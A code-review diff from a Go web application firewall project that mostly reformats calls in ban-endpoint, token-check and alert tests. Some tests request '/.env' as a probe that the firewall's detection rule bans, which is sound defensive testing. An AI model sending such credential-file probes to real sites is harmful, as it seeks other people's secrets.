"netblock %q %w",
|
|
||||||
value,
|
|
||||||
errMappedNetblock,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return netblock, nil
|
return netblock, nil
|
||||||
@@ -213,11 +195,7 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
|
|||||||
// 2001:db8::1%x/48 as part of the zone.
|
// 2001:db8::1%x/48 as part of the zone.
|
||||||
addr, err := netip.ParseAddr(value)
|
addr, err := netip.ParseAddr(value)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return netip.Prefix{}, fmt.Errorf(
|
return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errNotNetblock)
|
||||||
"netblock %q %w",
|
|
||||||
value,
|
|
||||||
errNotNetblock,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if addr.Zone() != "" {
|
if addr.Zone() != "" {
|
||||||
@@ -236,11 +214,7 @@ func expiry(duration string, now time.Time) (time.Time, error) {
|
|||||||
|
|
||||||
length, err := config.ParseDurationNotOff(duration)
|
length, err := config.ParseDurationNotOff(duration)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return time.Time{}, fmt.Errorf(
|
return time.Time{}, fmt.Errorf("duration %q %w", duration, errNotDuration)
|
||||||
"duration %q %w",
|
|
||||||
duration,
|
|
||||||
errNotDuration,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return now.Add(length), nil
|
return now.Add(length), nil
|
||||||
@@ -259,11 +233,7 @@ func (rq *request) liftBans() {
|
|||||||
|
|
||||||
lifted := rq.h.ledger.Lift(client, rq.h.now())
|
lifted := rq.h.ledger.Lift(client, rq.h.now())
|
||||||
if len(lifted) == 0 {
|
if len(lifted) == 0 {
|
||||||
http.Error(
|
http.Error(rq.out, "no ban is active on "+client.String(), http.StatusNotFound)
|
||||||
rq.out,
|
|
||||||
"no ban is active on "+client.String(),
|
|
||||||
http.StatusNotFound,
|
|
||||||
)
|
|
||||||
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -291,9 +261,7 @@ func (rq *request) showClient() {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
answer := clientAnswer{
|
answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
|
||||||
Bans: state.BanEntries(rq.h.ledger.Covering(addr)),
|
|
||||||
}
|
|
||||||
|
|
||||||
client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
|
client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
|
||||||
if seen {
|
if seen {
|
||||||
@@ -326,11 +294,7 @@ func (rq *request) answerBans(held []bans.Ban) {
|
|||||||
func (rq *request) answerJSON(value any) {
|
func (rq *request) answerJSON(value any) {
|
||||||
body, err := json.MarshalIndent(value, "", " ")
|
body, err := json.MarshalIndent(value, "", " ")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
rq.h.processLog.Error(
|
rq.h.processLog.Error("encoding an answer failed", "error", err.Error())
|
||||||
"encoding an answer failed",
|
|
||||||
"error",
|
|
||||||
err.Error(),
|
|
||||||
)
|
|
||||||
http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
|
http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
|
||||||
http.StatusInternalServerError)
|
http.StatusInternalServerError)
|
||||||
|
|
||||||
|
|||||||
+26
-112
@@ -32,37 +32,20 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// The metrics token is set, and opens none of them.
|
// The metrics token is set, and opens none of them.
|
||||||
s, clk, server := startWithClock(
|
s, clk, server := startWithClock(t, "", map[string]string{metricsToken: token})
|
||||||
t,
|
server.Ledger.BanForLimit(netip.MustParsePrefix(otherClient+"/32"), clk.Now(),
|
||||||
"",
|
bans.Notes{})
|
||||||
map[string]string{metricsToken: token},
|
|
||||||
)
|
|
||||||
server.Ledger.BanForLimit(
|
|
||||||
netip.MustParsePrefix(otherClient+"/32"),
|
|
||||||
clk.Now(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
before := server.Ledger.Snapshot()
|
before := server.Ledger.Snapshot()
|
||||||
|
|
||||||
// An empty token does not match the unset one either.
|
// An empty token does not match the unset one either.
|
||||||
for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
|
for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
|
||||||
for _, e := range adminEndpoints() {
|
for _, e := range adminEndpoints() {
|
||||||
s.ownEndpointRequest(
|
s.ownEndpointRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
|
||||||
authorization,
|
|
||||||
e.method,
|
|
||||||
e.path,
|
|
||||||
e.body,
|
|
||||||
http.StatusNotFound,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
|
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
|
||||||
t.Errorf(
|
t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
|
||||||
"the bans are now\n%+v\nwant them unchanged\n%+v",
|
|
||||||
after,
|
|
||||||
before,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -84,44 +67,22 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
|
|||||||
for _, authorization := range []string{
|
for _, authorization := range []string{
|
||||||
"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
|
"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
|
||||||
} {
|
} {
|
||||||
got := s.ownEndpointRequest(
|
got := s.ownEndpointRequest(authorization, e.method, e.path, e.body,
|
||||||
authorization,
|
http.StatusUnauthorized)
|
||||||
e.method,
|
|
||||||
e.path,
|
|
||||||
e.body,
|
|
||||||
http.StatusUnauthorized,
|
|
||||||
)
|
|
||||||
if got.header.Get("WWW-Authenticate") != "Bearer" {
|
if got.header.Get("WWW-Authenticate") != "Bearer" {
|
||||||
t.Errorf(
|
t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
|
||||||
"%s %s with %q was answered without WWW-Authenticate: Bearer",
|
e.method, e.path, authorization)
|
||||||
e.method,
|
|
||||||
e.path,
|
|
||||||
authorization,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(
|
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
|
||||||
after,
|
t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
|
||||||
before,
|
e.method, e.path, after, before)
|
||||||
) {
|
|
||||||
t.Errorf(
|
|
||||||
"%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
|
|
||||||
e.method,
|
|
||||||
e.path,
|
|
||||||
after,
|
|
||||||
before,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
got := s.admin(e.method, e.path, e.body, http.StatusOK)
|
got := s.admin(e.method, e.path, e.body, http.StatusOK)
|
||||||
if got.header.Get("Content-Type") != "application/json" {
|
if got.header.Get("Content-Type") != "application/json" {
|
||||||
t.Errorf(
|
t.Errorf("%s %s answered %q", e.method, e.path, got.header.Get("Content-Type"))
|
||||||
"%s %s answered %q",
|
|
||||||
e.method,
|
|
||||||
e.path,
|
|
||||||
got.header.Get("Content-Type"),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -160,11 +121,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
|
|||||||
wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient,
|
wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient,
|
||||||
http.StatusOK), want)
|
http.StatusOK), want)
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
client,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
if line.BanExpires != requestlog.FormatTime(expires) {
|
if line.BanExpires != requestlog.FormatTime(expires) {
|
||||||
t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
|
t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
|
||||||
}
|
}
|
||||||
@@ -172,11 +129,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
|
|||||||
// Its notes count the request it refused.
|
// Its notes count the request it refused.
|
||||||
want.Notes.Requests, want.Notes.Refused = 1, 1
|
want.Notes.Requests, want.Notes.Refused = 1, 1
|
||||||
|
|
||||||
wantBans(
|
wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
|
||||||
t,
|
|
||||||
s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
|
|
||||||
// Ten minutes on, lifting the bans on client lifts that one, which is
|
// Ten minutes on, lifting the bans on client lifts that one, which is
|
||||||
// kept, marked lifted.
|
// kept, marked lifted.
|
||||||
@@ -188,19 +141,10 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
|
|||||||
wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "",
|
wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "",
|
||||||
http.StatusOK), want)
|
http.StatusOK), want)
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
wantBans(
|
wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
|
||||||
t,
|
|
||||||
s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
|
|
||||||
// No ban on it is active any more.
|
// No ban on it is active any more.
|
||||||
s.admin(
|
s.admin(http.MethodDelete, waf.BansPath+"/"+client, "", http.StatusNotFound)
|
||||||
http.MethodDelete,
|
|
||||||
waf.BansPath+"/"+client,
|
|
||||||
"",
|
|
||||||
http.StatusNotFound,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
|
func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
|
||||||
@@ -229,9 +173,7 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
|
|||||||
body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
|
body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
|
||||||
"\r\n"
|
"\r\n"
|
||||||
want := state.BanEntry{
|
want := state.BanEntry{
|
||||||
Netblock: netip.MustParsePrefix(
|
Netblock: netip.MustParsePrefix(tc.want), Start: start, Cause: bans.CauseAdmin,
|
||||||
tc.want,
|
|
||||||
), Start: start, Cause: bans.CauseAdmin,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if tc.length != 0 {
|
if tc.length != 0 {
|
||||||
@@ -239,22 +181,15 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
|
|||||||
want.Expires = &expires
|
want.Expires = &expires
|
||||||
}
|
}
|
||||||
|
|
||||||
wantBans(
|
wantBans(t, s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
|
||||||
t,
|
want)
|
||||||
s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
|
func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, server := startWithClock(
|
s, _, server := startWithClock(t, "", map[string]string{adminToken: adminSecret})
|
||||||
t,
|
|
||||||
"",
|
|
||||||
map[string]string{adminToken: adminSecret},
|
|
||||||
)
|
|
||||||
|
|
||||||
for _, tc := range []struct{ body, want string }{
|
for _, tc := range []struct{ body, want string }{
|
||||||
{"", "the body is not a JSON object of netblock, duration and reason: EOF"},
|
{"", "the body is not a JSON object of netblock, duration and reason: EOF"},
|
||||||
@@ -319,12 +254,7 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
|
|||||||
got := s.admin(http.MethodPost, waf.BansPath, tc.body,
|
got := s.admin(http.MethodPost, waf.BansPath, tc.body,
|
||||||
http.StatusBadRequest)
|
http.StatusBadRequest)
|
||||||
if !strings.Contains(string(got.body), tc.want) {
|
if !strings.Contains(string(got.body), tc.want) {
|
||||||
t.Errorf(
|
t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
|
||||||
"%.80s was answered %q, want it to say %q",
|
|
||||||
tc.body,
|
|
||||||
got.body,
|
|
||||||
tc.want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -346,11 +276,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
|
|||||||
// limit of two a minute, and bans it.
|
// limit of two a minute, and bans it.
|
||||||
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
||||||
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
||||||
s.get(
|
s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
otherClient,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited,
|
|
||||||
)
|
|
||||||
|
|
||||||
// Asked about by its address in IPv6 form too.
|
// Asked about by its address in IPv6 form too.
|
||||||
for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
|
for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
|
||||||
@@ -376,11 +302,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
|
|||||||
if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
|
if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
|
||||||
got.Bans[0].Reason != "requests per minute over the limit of 2" ||
|
got.Bans[0].Reason != "requests per minute over the limit of 2" ||
|
||||||
got.Bans[0].Notes.Count != 3 {
|
got.Bans[0].Notes.Count != 3 {
|
||||||
t.Errorf(
|
t.Errorf("%s: bans %+v, want the one for the broken limit", addr, got.Bans)
|
||||||
"%s: bans %+v, want the one for the broken limit",
|
|
||||||
addr,
|
|
||||||
got.Bans,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -388,9 +310,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
|
|||||||
// known.
|
// known.
|
||||||
got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "",
|
got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "",
|
||||||
http.StatusOK)
|
http.StatusOK)
|
||||||
if string(
|
if string(got.body) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
|
||||||
got.body,
|
|
||||||
) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
|
|
||||||
t.Errorf("an unknown client is answered\n%s", got.body)
|
t.Errorf("an unknown client is answered\n%s", got.body)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -409,13 +329,7 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
|
|||||||
})
|
})
|
||||||
|
|
||||||
for _, e := range adminEndpoints() {
|
for _, e := range adminEndpoints() {
|
||||||
s.ownEndpointRequest(
|
s.ownEndpointRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
|
||||||
"",
|
|
||||||
e.method,
|
|
||||||
e.path,
|
|
||||||
e.body,
|
|
||||||
http.StatusUnauthorized,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if held := server.Ledger.Snapshot(); len(held) != 0 {
|
if held := server.Ledger.Snapshot(); len(held) != 0 {
|
||||||
|
|||||||
+20
-85
@@ -46,10 +46,7 @@ func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
|
|||||||
}, requestlog.FormatTime(start.Add(time.Hour))))
|
}, requestlog.FormatTime(start.Add(time.Hour))))
|
||||||
|
|
||||||
if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
|
if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
|
||||||
t.Errorf(
|
t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes)
|
||||||
"the alert's notes are %+v, want those of the broken limit",
|
|
||||||
ban.Notes,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -65,12 +62,7 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
|
|||||||
|
|
||||||
// The probe bans the client for seven days, and its next request makes
|
// The probe bans the client for seven days, and its next request makes
|
||||||
// the ban permanent. The request after that changes nothing.
|
// the ban permanent. The request after that changes nothing.
|
||||||
s.request(
|
s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
client,
|
|
||||||
"/.env",
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
|
|
||||||
attackBan := server.Ledger.Bans(netblock)[0]
|
attackBan := server.Ledger.Bans(netblock)[0]
|
||||||
|
|
||||||
@@ -91,27 +83,15 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
|
|||||||
|
|
||||||
otherBans := server.Ledger.Bans(other)
|
otherBans := server.Ledger.Bans(other)
|
||||||
|
|
||||||
wantAlerts(
|
wantAlerts(t, queue,
|
||||||
t,
|
|
||||||
queue,
|
|
||||||
attackAlert(alerts.EventBan, start, client, attackBan,
|
attackAlert(alerts.EventBan, start, client, attackBan,
|
||||||
requestlog.FormatTime(start.Add(7*24*time.Hour))),
|
requestlog.FormatTime(start.Add(7*24*time.Hour))),
|
||||||
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
|
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
|
||||||
permanentBan, "permanent"),
|
permanentBan, "permanent"),
|
||||||
attackAlert(
|
attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0],
|
||||||
alerts.EventBan,
|
requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))),
|
||||||
start.Add(time.Minute),
|
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour),
|
||||||
otherClient,
|
otherClient, otherBans[1], "permanent"),
|
||||||
otherBans[0],
|
|
||||||
requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour)),
|
|
||||||
),
|
|
||||||
attackAlert(
|
|
||||||
alerts.EventPermanentBan,
|
|
||||||
start.Add(time.Minute+7*24*time.Hour),
|
|
||||||
otherClient,
|
|
||||||
otherBans[1],
|
|
||||||
"permanent",
|
|
||||||
),
|
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -128,11 +108,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
|
|||||||
// A ban for a clear sign of attack, which a request under it would make
|
// A ban for a clear sign of attack, which a request under it would make
|
||||||
// permanent.
|
// permanent.
|
||||||
group := netip.MustParsePrefix(ipv6Group)
|
group := netip.MustParsePrefix(ipv6Group)
|
||||||
attackBan, _ := server.Ledger.BanForAttack(
|
attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"})
|
||||||
group,
|
|
||||||
start,
|
|
||||||
bans.Notes{RuleID: "probe"},
|
|
||||||
)
|
|
||||||
|
|
||||||
// The third request breaks the limit, and so does the fourth, within the
|
// The third request breaks the limit, and so does the fourth, within the
|
||||||
// cooldown, which raises nothing. The probe is a clear sign of attack.
|
// cooldown, which raises nothing. The probe is a clear sign of attack.
|
||||||
@@ -147,12 +123,8 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
|
|||||||
held := server.Ledger.Snapshot()
|
held := server.Ledger.Snapshot()
|
||||||
if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
|
if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
|
||||||
line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
|
line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
|
||||||
t.Errorf(
|
t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
|
||||||
"the ledger holds %+v, and the log line gives %s, want the ban "+
|
"for the attack alone, as it was", held, line.BanExpires)
|
||||||
"for the attack alone, as it was",
|
|
||||||
held,
|
|
||||||
line.BanExpires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
@@ -166,35 +138,21 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
|
|||||||
|
|
||||||
if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
|
if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
|
||||||
attackNotes.Request.Path != "/.env" {
|
attackNotes.Request.Path != "/.env" {
|
||||||
t.Errorf(
|
t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+
|
||||||
"the notes are %+v and %+v, want those of the broken limit and "+
|
"of the probe", limitNotes, attackNotes)
|
||||||
"of the probe",
|
|
||||||
limitNotes,
|
|
||||||
attackNotes,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Each alert is the one enforce mode would have raised, with mode
|
// Each alert is the one enforce mode would have raised, with mode
|
||||||
// observe in its detail.
|
// observe in its detail.
|
||||||
want := []alerts.Alert{
|
want := []alerts.Alert{
|
||||||
banAlert(alerts.EventBan, start, client, bans.Ban{
|
banAlert(alerts.EventBan, start, client, bans.Ban{
|
||||||
Netblock: netip.MustParsePrefix(
|
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
|
||||||
client + "/32",
|
|
||||||
), Cause: bans.CauseLimit,
|
|
||||||
Reason: "requests per minute over the limit of 2", Notes: limitNotes,
|
Reason: "requests per minute over the limit of 2", Notes: limitNotes,
|
||||||
}, requestlog.FormatTime(start.Add(time.Hour))),
|
}, requestlog.FormatTime(start.Add(time.Hour))),
|
||||||
attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
|
attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
|
||||||
Netblock: netip.MustParsePrefix(
|
Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes,
|
||||||
otherClient + "/32",
|
|
||||||
), Notes: attackNotes,
|
|
||||||
}, requestlog.FormatTime(start.Add(7*24*time.Hour))),
|
}, requestlog.FormatTime(start.Add(7*24*time.Hour))),
|
||||||
attackAlert(
|
attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent),
|
||||||
alerts.EventPermanentBan,
|
|
||||||
start,
|
|
||||||
ipv6Client,
|
|
||||||
attackBan,
|
|
||||||
permanent,
|
|
||||||
),
|
|
||||||
}
|
}
|
||||||
for _, alert := range want {
|
for _, alert := range want {
|
||||||
alert.Detail["mode"] = observe
|
alert.Detail["mode"] = observe
|
||||||
@@ -222,12 +180,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
|
|||||||
// The other client's first probe raises the second. Its second probe is
|
// The other client's first probe raises the second. Its second probe is
|
||||||
// within the cooldown.
|
// within the cooldown.
|
||||||
for range 2 {
|
for range 2 {
|
||||||
s.request(
|
s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
|
||||||
otherClient,
|
|
||||||
"/.env",
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The IPv6 client's third request breaks the limit past the two alerts
|
// The IPv6 client's third request breaks the limit past the two alerts
|
||||||
@@ -253,11 +206,7 @@ func startWithAlerts(
|
|||||||
) (*sender, *clock, *waf.Server, *alerts.Queue) {
|
) (*sender, *clock, *waf.Server, *alerts.Queue) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
return startAppWithAlerts(
|
return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
|
||||||
t,
|
|
||||||
func(http.ResponseWriter, *http.Request) {},
|
|
||||||
env,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// startAppWithAlerts is startWithAlerts in front of the app handler.
|
// startAppWithAlerts is startWithAlerts in front of the app handler.
|
||||||
@@ -275,13 +224,7 @@ func startAppWithAlerts(
|
|||||||
}
|
}
|
||||||
maps.Copy(settings, env)
|
maps.Copy(settings, env)
|
||||||
|
|
||||||
addr, out, server, queue := startProxyWithAlerts(
|
addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
|
||||||
t,
|
|
||||||
app.URL,
|
|
||||||
"",
|
|
||||||
clk.Now,
|
|
||||||
settings,
|
|
||||||
)
|
|
||||||
|
|
||||||
s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}
|
s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}
|
||||||
|
|
||||||
@@ -292,11 +235,7 @@ func startAppWithAlerts(
|
|||||||
// the time raised, for ban, with its netblock, cause, reason and notes,
|
// the time raised, for ban, with its netblock, cause, reason and notes,
|
||||||
// which ends at expires, as the log line gives it.
|
// which ends at expires, as the log line gives it.
|
||||||
func banAlert(
|
func banAlert(
|
||||||
event string,
|
event string, raised time.Time, client string, ban bans.Ban, expires string,
|
||||||
raised time.Time,
|
|
||||||
client string,
|
|
||||||
ban bans.Ban,
|
|
||||||
expires string,
|
|
||||||
) alerts.Alert {
|
) alerts.Alert {
|
||||||
return alerts.Alert{
|
return alerts.Alert{
|
||||||
Instance: alertInstance,
|
Instance: alertInstance,
|
||||||
@@ -315,11 +254,7 @@ func banAlert(
|
|||||||
// attackAlert is banAlert for a ban for the probe rule of testRules, with
|
// attackAlert is banAlert for a ban for the probe rule of testRules, with
|
||||||
// the netblock and the notes of ban.
|
// the netblock and the notes of ban.
|
||||||
func attackAlert(
|
func attackAlert(
|
||||||
event string,
|
event string, raised time.Time, client string, ban bans.Ban, expires string,
|
||||||
raised time.Time,
|
|
||||||
client string,
|
|
||||||
ban bans.Ban,
|
|
||||||
expires string,
|
|
||||||
) alerts.Alert {
|
) alerts.Alert {
|
||||||
return banAlert(event, raised, client, bans.Ban{
|
return banAlert(event, raised, client, bans.Ban{
|
||||||
Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",
|
Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",
|
||||||
|
|||||||
@@ -24,10 +24,7 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
|
|||||||
|
|
||||||
defer func() {
|
defer func() {
|
||||||
if r := recover(); r != nil {
|
if r := recover(); r != nil {
|
||||||
t.Errorf(
|
t.Errorf("counting the request did work, with every threshold off: %v", r)
|
||||||
"counting the request did work, with every threshold off: %v",
|
|
||||||
r,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
|
|||||||
Loaded 100 of 149 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user